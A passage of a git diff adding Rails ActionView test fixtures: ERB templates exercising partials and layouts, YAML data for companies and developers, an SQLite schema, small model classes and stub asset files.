new file mode 100644
index 0000000000..0740b2d07c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
new file mode 100644
index 0000000000..4a11845cfe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
@@ -0,0 +1 @@
+Hello HTML!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
new file mode 100644
index 0000000000..892ae5eca2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
@@ -0,0 +1 @@
+alert('hello');
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000000..1461b95186
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/actionpack/test/render_to_string_test.erb b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
new file mode 100644
index 0000000000..6e267e8634
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
@@ -0,0 +1 @@
+The value of foo is: ::<%= @foo %>::
diff --git a/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
new file mode 100644
index 0000000000..3db6025860
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
new file mode 100644
index 0000000000..3d6661df9a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
new file mode 100644
index 0000000000..d84d909d64
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
new file mode 100644
index 0000000000..7502364cf5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.text.erb b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
new file mode 100644
index 0000000000..5f068ebf27
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
@@ -0,0 +1 @@
+**<%= render :partial => "partial_only" %>**
diff --git a/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
new file mode 100644
index 0000000000..e54a7cd001
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
@@ -0,0 +1 @@
+<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionview/test/fixtures/comments/empty.de.html.erb b/actionview/test/fixtures/comments/empty.de.html.erb
new file mode 100644
index 0000000000..cffd90dd26
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.de.html.erb
@@ -0,0 +1 @@
+<h1>Kein Kommentar</h1>
\ No newline at end of file
diff --git a/actionview/test/fixtures/comments/empty.html+grid.erb b/actionview/test/fixtures/comments/empty.html+grid.erb
new file mode 100644
index 0000000000..dc3fa32a81
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.html+grid.erb
@@ -0,0 +1 @@
+<h1>No Comment</h1>
diff --git a/actionview/test/fixtures/comments/empty.html.builder b/actionview/test/fixtures/comments/empty.html.builder
new file mode 100644
index 0000000000..12d6fdd9a5
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.html.builder
@@ -0,0 +1 @@
+xml.h1 "No Comment"
diff --git a/actionview/test/fixtures/comments/empty.html.erb b/actionview/test/fixtures/comments/empty.html.erb
new file mode 100644
index 0000000000..827f3861de
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.html.erb
@@ -0,0 +1 @@
+<h1>No Comment</h1>
\ No newline at end of file
diff --git a/actionview/test/fixtures/comments/empty.xml.erb b/actionview/test/fixtures/comments/empty.xml.erb
new file mode 100644
index 0000000000..db1027cd7d
--- /dev/null
+++ b/actionview/test/fixtures/comments/empty.xml.erb
@@ -0,0 +1 @@
+<error>No Comment</error>
\ No newline at end of file
diff --git a/actionview/test/fixtures/companies.yml b/actionview/test/fixtures/companies.yml
new file mode 100644
index 0000000000..ed2992e0b1
--- /dev/null
+++ b/actionview/test/fixtures/companies.yml
@@ -0,0 +1,24 @@
+thirty_seven_signals:
+  id: 1
+  name: 37Signals
+  rating: 4
+
+TextDrive:
+  id: 2
+  name: TextDrive
+  rating: 4
+
+PlanetArgon:
+  id: 3
+  name: Planet Argon
+  rating: 4
+
+Google:
+  id: 4
+  name: Google
+  rating: 4
+
+Ionist:
+  id: 5
+  name: Ioni.st
+  rating: 4
\ No newline at end of file
diff --git a/actionview/test/fixtures/company.rb b/actionview/test/fixtures/company.rb
new file mode 100644
index 0000000000..93afdd5472
--- /dev/null
+++ b/actionview/test/fixtures/company.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Company < ActiveRecord::Base
+  has_one :mascot
+  self.sequence_name = :companies_nonstd_seq
+
+  validates_presence_of :name
+  def validate
+    errors.add("rating", "rating should not be 2") if rating == 2
+  end
+end
diff --git a/actionview/test/fixtures/custom_pattern/another.html.erb b/actionview/test/fixtures/custom_pattern/another.html.erb
new file mode 100644
index 0000000000..6d7f3bafbb
--- /dev/null
+++ b/actionview/test/fixtures/custom_pattern/another.html.erb
@@ -0,0 +1 @@
+Hello custom patterns!
\ No newline at end of file
diff --git a/actionview/test/fixtures/custom_pattern/html/another.erb b/actionview/test/fixtures/custom_pattern/html/another.erb
new file mode 100644
index 0000000000..dbd7e96ab6
--- /dev/null
+++ b/actionview/test/fixtures/custom_pattern/html/another.erb
@@ -0,0 +1 @@
+Another template!
\ No newline at end of file
diff --git a/actionview/test/fixtures/custom_pattern/html/path.erb b/actionview/test/fixtures/custom_pattern/html/path.erb
new file mode 100644
index 0000000000..6d7f3bafbb
--- /dev/null
+++ b/actionview/test/fixtures/custom_pattern/html/path.erb
@@ -0,0 +1 @@
+Hello custom patterns!
\ No newline at end of file
diff --git a/actionview/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/customers/_customer.html.erb
new file mode 100644
index 0000000000..483571e22a
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/customers/_customer.xml.erb b/actionview/test/fixtures/customers/_customer.xml.erb
new file mode 100644
index 0000000000..d3f1e0768f
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.xml.erb
@@ -0,0 +1 @@
+<greeting><%= greeting %></greeting><name><%= customer.name %></name>
\ No newline at end of file
diff --git a/actionview/test/fixtures/db_definitions/sqlite.sql b/actionview/test/fixtures/db_definitions/sqlite.sql
new file mode 100644
index 0000000000..99df4b3e61
--- /dev/null
+++ b/actionview/test/fixtures/db_definitions/sqlite.sql
@@ -0,0 +1,49 @@
+CREATE TABLE 'companies' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL,
+  'rating' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'replies' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'content' text,
+  'created_at' datetime,
+  'updated_at' datetime,
+  'topic_id' integer,
+  'developer_id' integer
+);
+
+CREATE TABLE 'topics' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'title' varchar(255),
+  'subtitle' varchar(255),
+  'content' text,
+  'created_at' datetime,
+  'updated_at' datetime
+);
+
+CREATE TABLE 'developers' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL,
+  'salary' INTEGER DEFAULT 70000,
+  'created_at' DATETIME DEFAULT NULL,
+  'updated_at' DATETIME DEFAULT NULL
+);
+
+CREATE TABLE 'projects' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL
+);
+
+CREATE TABLE 'developers_projects' (
+  'developer_id' INTEGER NOT NULL,
+  'project_id' INTEGER NOT NULL,
+  'joined_on' DATE DEFAULT NULL,
+  'access_level' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'mascots' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'company_id' INTEGER NOT NULL,
+  'name' TEXT DEFAULT NULL
+);
\ No newline at end of file
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
new file mode 100644
index 0000000000..cb7ee49eed
--- /dev/null
+++ b/actionview/test/fixtures/developer.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Developer < ActiveRecord::Base
+  has_and_belongs_to_many :projects
+  has_many :replies
+  has_many :topics, through: :replies
+  accepts_nested_attributes_for :projects
+end
diff --git a/actionview/test/fixtures/developers.yml b/actionview/test/fixtures/developers.yml
new file mode 100644
index 0000000000..3656564f63
--- /dev/null
+++ b/actionview/test/fixtures/developers.yml
@@ -0,0 +1,21 @@
+david:
+  id: 1
+  name: David
+  salary: 80000
+
+jamis:
+  id: 2
+  name: Jamis
+  salary: 150000
+
+<% (3..10).each do |digit| %>
+dev_<%= digit %>:
+  id: <%= digit %>
+  name: fixture_<%= digit %>
+  salary: 100000
+<% end %>
+
+poor_jamis:
+  id: 11
+  name: Jamis
+  salary: 9000
\ No newline at end of file
diff --git a/actionview/test/fixtures/developers/_developer.erb b/actionview/test/fixtures/developers/_developer.erb
new file mode 100644
index 0000000000..904a3137e7
--- /dev/null
+++ b/actionview/test/fixtures/developers/_developer.erb
@@ -0,0 +1 @@
+<%= developer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/developers_projects.yml b/actionview/test/fixtures/developers_projects.yml
new file mode 100644
index 0000000000..cee359c7cf
--- /dev/null
+++ b/actionview/test/fixtures/developers_projects.yml
@@ -0,0 +1,13 @@
+david_action_controller:
+  developer_id: 1
+  project_id: 2
+  joined_on: 2004-10-10
+
+david_active_record:
+  developer_id: 1
+  project_id: 1
+  joined_on: 2004-10-10
+
+jamis_active_record:
+  developer_id: 2
+  project_id: 1
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/api/comments/_comment.json.erb b/actionview/test/fixtures/digestor/api/comments/_comment.json.erb
new file mode 100644
index 0000000000..696eb13917
--- /dev/null
+++ b/actionview/test/fixtures/digestor/api/comments/_comment.json.erb
@@ -0,0 +1 @@
+{"content": "Great story!"}
diff --git a/actionview/test/fixtures/digestor/api/comments/_comments.json.erb b/actionview/test/fixtures/digestor/api/comments/_comments.json.erb
new file mode 100644
index 0000000000..c28646a283
--- /dev/null
+++ b/actionview/test/fixtures/digestor/api/comments/_comments.json.erb
@@ -0,0 +1 @@
+<%= render partial: "comments/comment", collection: commentable.comments %>
diff --git a/actionview/test/fixtures/digestor/comments/_comment.html.erb b/actionview/test/fixtures/digestor/comments/_comment.html.erb
new file mode 100644
index 0000000000..a8fa21f644
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/_comment.html.erb
@@ -0,0 +1 @@
+Great story!
diff --git a/actionview/test/fixtures/digestor/comments/_comments.html.erb b/actionview/test/fixtures/digestor/comments/_comments.html.erb
new file mode 100644
index 0000000000..c28646a283
--- /dev/null
+++ b/actionview/test/fixtures/digestor/comments/_comments.html.erb
@@ -0,0 +1 @@
+<%= render partial: "comments/comment", collection: commentable.comments %>
diff --git a/actionview/test/fixtures/digestor/events/_completed.html.erb b/actionview/test/fixtures/digestor/events/_completed.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/events/_completed.html.erb
diff --git a/actionview/test/fixtures/digestor/events/_event.html.erb b/actionview/test/fixtures/digestor/events/_event.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/events/_event.html.erb
diff --git a/actionview/test/fixtures/digestor/events/index.html.erb b/actionview/test/fixtures/digestor/events/index.html.erb
new file mode 100644
index 0000000000..bc45e41bcb
--- /dev/null
+++ b/actionview/test/fixtures/digestor/events/index.html.erb
@@ -0,0 +1 @@
+<% # Template Dependency: events/* %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/level/_recursion.html.erb b/actionview/test/fixtures/digestor/level/_recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/_recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionview/test/fixtures/digestor/level/below/_header.html.erb b/actionview/test/fixtures/digestor/level/below/_header.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/below/_header.html.erb
diff --git a/actionview/test/fixtures/digestor/level/below/index.html.erb b/actionview/test/fixtures/digestor/level/below/index.html.erb
new file mode 100644
index 0000000000..b92f49a8f8
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/below/index.html.erb
@@ -0,0 +1 @@
+<%= render partial: "header" %>
diff --git a/actionview/test/fixtures/digestor/level/recursion.html.erb b/actionview/test/fixtures/digestor/level/recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionview/test/fixtures/digestor/messages/_form.html.erb b/actionview/test/fixtures/digestor/messages/_form.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/_form.html.erb
diff --git a/actionview/test/fixtures/digestor/messages/_header.html.erb b/actionview/test/fixtures/digestor/messages/_header.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/_header.html.erb
diff --git a/actionview/test/fixtures/digestor/messages/_message.html.erb b/actionview/test/fixtures/digestor/messages/_message.html.erb
new file mode 100644
index 0000000000..406a0fb848
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/_message.html.erb
@@ -0,0 +1 @@
+THIS BE WHERE THEM MESSAGE GO, YO!
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/messages/actions/_move.html.erb b/actionview/test/fixtures/digestor/messages/actions/_move.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/actions/_move.html.erb
diff --git a/actionview/test/fixtures/digestor/messages/edit.html.erb b/actionview/test/fixtures/digestor/messages/edit.html.erb
new file mode 100644
index 0000000000..a9e0a88e32
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/edit.html.erb
@@ -0,0 +1,5 @@
+<%= render              "header" %>
+<%= render    partial:  "form" %>
+<%= render              @message %>
+<%= render ( @message.events ) %>
+<%= render    :partial =>    "comments/comment", :collection => @message.comments %>
diff --git a/actionview/test/fixtures/digestor/messages/index.html.erb b/actionview/test/fixtures/digestor/messages/index.html.erb
new file mode 100644
index 0000000000..1937b652e4
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/index.html.erb
@@ -0,0 +1,2 @@
+<%= render @messages %>
+<%= render @events %>
diff --git a/actionview/test/fixtures/digestor/messages/new.html+iphone.erb b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
new file mode 100644
index 0000000000..791e1d36b4
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
@@ -0,0 +1,15 @@
+<%# Template Dependency: messages/message %>
+
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing"   %>
+<%# render "something_missing_1" %>
+
+<%
+  # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/messages/peek.html.erb b/actionview/test/fixtures/digestor/messages/peek.html.erb
new file mode 100644
index 0000000000..84885ab0bc
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/peek.html.erb
@@ -0,0 +1,2 @@
+<%# Template Dependency: messages/message %>
+<%= render "comments/comments" %>
diff --git a/actionview/test/fixtures/digestor/messages/show.html.erb b/actionview/test/fixtures/digestor/messages/show.html.erb
new file mode 100644
index 0000000000..42aa2363dd
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/show.html.erb
@@ -0,0 +1,14 @@
+<%# Template Dependency: messages/message %>
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing"   %>
+<%# render "something_missing_1" %>
+
+<%
+  # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/messages/thread.json.erb b/actionview/test/fixtures/digestor/messages/thread.json.erb
new file mode 100644
index 0000000000..e4c1ba97cd
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/thread.json.erb
@@ -0,0 +1 @@
+<%= render "comments/comments" %>
diff --git a/actionview/test/fixtures/fun/games/_game.erb b/actionview/test/fixtures/fun/games/_game.erb
new file mode 100644
index 0000000000..f0f542ff92
--- /dev/null
+++ b/actionview/test/fixtures/fun/games/_game.erb
@@ -0,0 +1 @@
+Fun <%= game.name %>
diff --git a/actionview/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/fun/games/hello_world.erb
new file mode 100644
index 0000000000..1ebfbe2539
--- /dev/null
+++ b/actionview/test/fixtures/fun/games/hello_world.erb
@@ -0,0 +1 @@
+Living in a nested world
\ No newline at end of file
diff --git a/actionview/test/fixtures/fun/serious/games/_game.erb b/actionview/test/fixtures/fun/serious/games/_game.erb
new file mode 100644
index 0000000000..523bc55bd7
--- /dev/null
+++ b/actionview/test/fixtures/fun/serious/games/_game.erb
@@ -0,0 +1 @@
+Serious <%= game.name %>
diff --git a/actionview/test/fixtures/games/_game.erb b/actionview/test/fixtures/games/_game.erb
new file mode 100644
index 0000000000..1aeb81fcba
--- /dev/null
+++ b/actionview/test/fixtures/games/_game.erb
@@ -0,0 +1 @@
+Just <%= game.name %>
diff --git a/actionview/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/good_customers/_good_customer.html.erb
new file mode 100644
index 0000000000..a2d97ebc6d
--- /dev/null
+++ b/actionview/test/fixtures/good_customers/_good_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000000..999b9b5c6e
--- /dev/null
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module AbcHelper
+  def bare_a() end
+end
diff --git a/actionview/test/fixtures/helpers/helpery_test_helper.rb b/actionview/test/fixtures/helpers/helpery_test_helper.rb
new file mode 100644
index 0000000000..9836143848
--- /dev/null
+++ b/actionview/test/fixtures/helpers/helpery_test_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module HelperyTestHelper
+  def helpery_test
+    "Default"
+  end
+end
diff --git a/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
new file mode 100644
index 0000000000..c77121046d
--- /dev/null
+++ b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require "very_invalid_file_name"
+
+module InvalidRequireHelper
+end
diff --git a/actionview/test/fixtures/layout_tests/alt/hello.erb b/actionview/test/fixtures/layout_tests/alt/hello.erb
new file mode 100644
index 0000000000..1055c36659
--- /dev/null
+++ b/actionview/test/fixtures/layout_tests/alt/hello.erb
@@ -0,0 +1 @@
+alt/hello.erb
diff --git a/actionview/test/fixtures/layouts/_column.html.erb b/actionview/test/fixtures/layouts/_column.html.erb
new file mode 100644
index 0000000000..96db002b8a
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_column.html.erb
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div>
\ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/_customers.erb b/actionview/test/fixtures/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/layouts/_partial_and_yield.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_partial_and_yield.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/_yield_only.erb b/actionview/test/fixtures/layouts/_yield_only.erb
new file mode 100644
index 0000000000..37f0bddbd7
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_yield_only.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/_yield_with_params.erb b/actionview/test/fixtures/layouts/_yield_with_params.erb
new file mode 100644
index 0000000000..68e6557fb8
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_yield_with_params.erb
@@ -0,0 +1 @@
+<%= yield 'Yield!' %>
diff --git a/actionview/test/fixtures/layouts/render_partial_html.erb b/actionview/test/fixtures/layouts/render_partial_html.erb
new file mode 100644
index 0000000000..d4dbb6c76c
--- /dev/null
+++ b/actionview/test/fixtures/layouts/render_partial_html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partialhtml' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/streaming.erb b/actionview/test/fixtures/layouts/streaming.erb
new file mode 100644
index 0000000000..d3f896a6ca
--- /dev/null
+++ b/actionview/test/fixtures/layouts/streaming.erb
@@ -0,0 +1,4 @@
+<%= yield :header -%>
+<%= yield -%>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/streaming_with_capture.erb b/actionview/test/fixtures/layouts/streaming_with_capture.erb
new file mode 100644
index 0000000000..538c19ce3a
--- /dev/null
+++ b/actionview/test/fixtures/layouts/streaming_with_capture.erb
@@ -0,0 +1,6 @@
+<%= yield :header -%>
+<%= capture do %>
+ this works
+<% end %>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%>
diff --git a/actionview/test/fixtures/layouts/yield.erb b/actionview/test/fixtures/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
new file mode 100644
index 0000000000..7298d79690
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'welcome' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/mascot.rb b/actionview/test/fixtures/mascot.rb
new file mode 100644
index 0000000000..26a2c7bbe1
--- /dev/null
+++ b/actionview/test/fixtures/mascot.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Mascot < ActiveRecord::Base
+  belongs_to :company
+end
diff --git a/actionview/test/fixtures/mascots.yml b/actionview/test/fixtures/mascots.yml
new file mode 100644
index 0000000000..17b7dff454
--- /dev/null
+++ b/actionview/test/fixtures/mascots.yml
@@ -0,0 +1,4 @@
+upload_bird:
+  id: 1
+  company_id: 1
+  name: The Upload Bird
\ No newline at end of file
diff --git a/actionview/test/fixtures/mascots/_mascot.html.erb b/actionview/test/fixtures/mascots/_mascot.html.erb
new file mode 100644
index 0000000000..432773a1da
--- /dev/null
+++ b/actionview/test/fixtures/mascots/_mascot.html.erb
@@ -0,0 +1 @@
+<%= mascot.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/override/test/hello_world.erb b/actionview/test/fixtures/override/test/hello_world.erb
new file mode 100644
index 0000000000..3e308d3d86
--- /dev/null
+++ b/actionview/test/fixtures/override/test/hello_world.erb
@@ -0,0 +1 @@
+Hello overridden world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/override2/layouts/test/sub.erb b/actionview/test/fixtures/override2/layouts/test/sub.erb
new file mode 100644
index 0000000000..3863d5a8ef
--- /dev/null
+++ b/actionview/test/fixtures/override2/layouts/test/sub.erb
@@ -0,0 +1 @@
+layout: <%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/plain_text.raw b/actionview/test/fixtures/plain_text.raw
new file mode 100644
index 0000000000..b13985337f
--- /dev/null
+++ b/actionview/test/fixtures/plain_text.raw
@@ -0,0 +1 @@
+<%= hello_world %>
diff --git a/actionview/test/fixtures/plain_text_with_characters.raw b/actionview/test/fixtures/plain_text_with_characters.raw
new file mode 100644
index 0000000000..1e86e44fb4
--- /dev/null
+++ b/actionview/test/fixtures/plain_text_with_characters.raw
@@ -0,0 +1 @@
+Here are some characters: !@#$%^&*()-="'}{`
diff --git a/actionview/test/fixtures/project.rb b/actionview/test/fixtures/project.rb
new file mode 100644
index 0000000000..019ddb7aef
--- /dev/null
+++ b/actionview/test/fixtures/project.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Project < ActiveRecord::Base
+  has_and_belongs_to_many :developers, -> { uniq }
+
+  def self.collection_cache_key(collection = all, timestamp_column = :updated_at)
+    "projects-#{collection.count}"
+  end
+end
diff --git a/actionview/test/fixtures/projects.yml b/actionview/test/fixtures/projects.yml
new file mode 100644
index 0000000000..02800c7824
--- /dev/null
+++ b/actionview/test/fixtures/projects.yml
@@ -0,0 +1,7 @@
+action_controller:
+  id: 2
+  name: Active Controller
+
+active_record:
+  id: 1
+  name: Active Record
diff --git a/actionview/test/fixtures/projects/_project.erb b/actionview/test/fixtures/projects/_project.erb
new file mode 100644
index 0000000000..480c4c2af3
--- /dev/null
+++ b/actionview/test/fixtures/projects/_project.erb
@@ -0,0 +1 @@
+<%= project.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/.gitignore b/actionview/test/fixtures/public/.gitignore
new file mode 100644
index 0000000000..312e635ee6
--- /dev/null
+++ b/actionview/test/fixtures/public/.gitignore
@@ -0,0 +1 @@
+absolute/*
diff --git a/actionview/test/fixtures/public/elsewhere/cools.js b/actionview/test/fixtures/public/elsewhere/cools.js
new file mode 100644
index 0000000000..6e12fe29c4
--- /dev/null
+++ b/actionview/test/fixtures/public/elsewhere/cools.js
@@ -0,0 +1 @@
+// cools.js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/elsewhere/file.css b/actionview/test/fixtures/public/elsewhere/file.css
new file mode 100644
index 0000000000..6aea0733b1
--- /dev/null
+++ b/actionview/test/fixtures/public/elsewhere/file.css
@@ -0,0 +1 @@
+/*file.css*/
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/foo/baz.css b/actionview/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionview/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionview/test/fixtures/public/javascripts/application.js b/actionview/test/fixtures/public/javascripts/application.js
new file mode 100644
index 0000000000..9702692980
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/application.js
@@ -0,0 +1 @@
+// application js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/bank.js b/actionview/test/fixtures/public/javascripts/bank.js
new file mode 100644
index 0000000000..4a1bee7182
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/bank.js
@@ -0,0 +1 @@
+// bank js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/common.javascript b/actionview/test/fixtures/public/javascripts/common.javascript
new file mode 100644
index 0000000000..2ae1929056
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/common.javascript
@@ -0,0 +1 @@
+// common.javascript
\ No newline at end of file
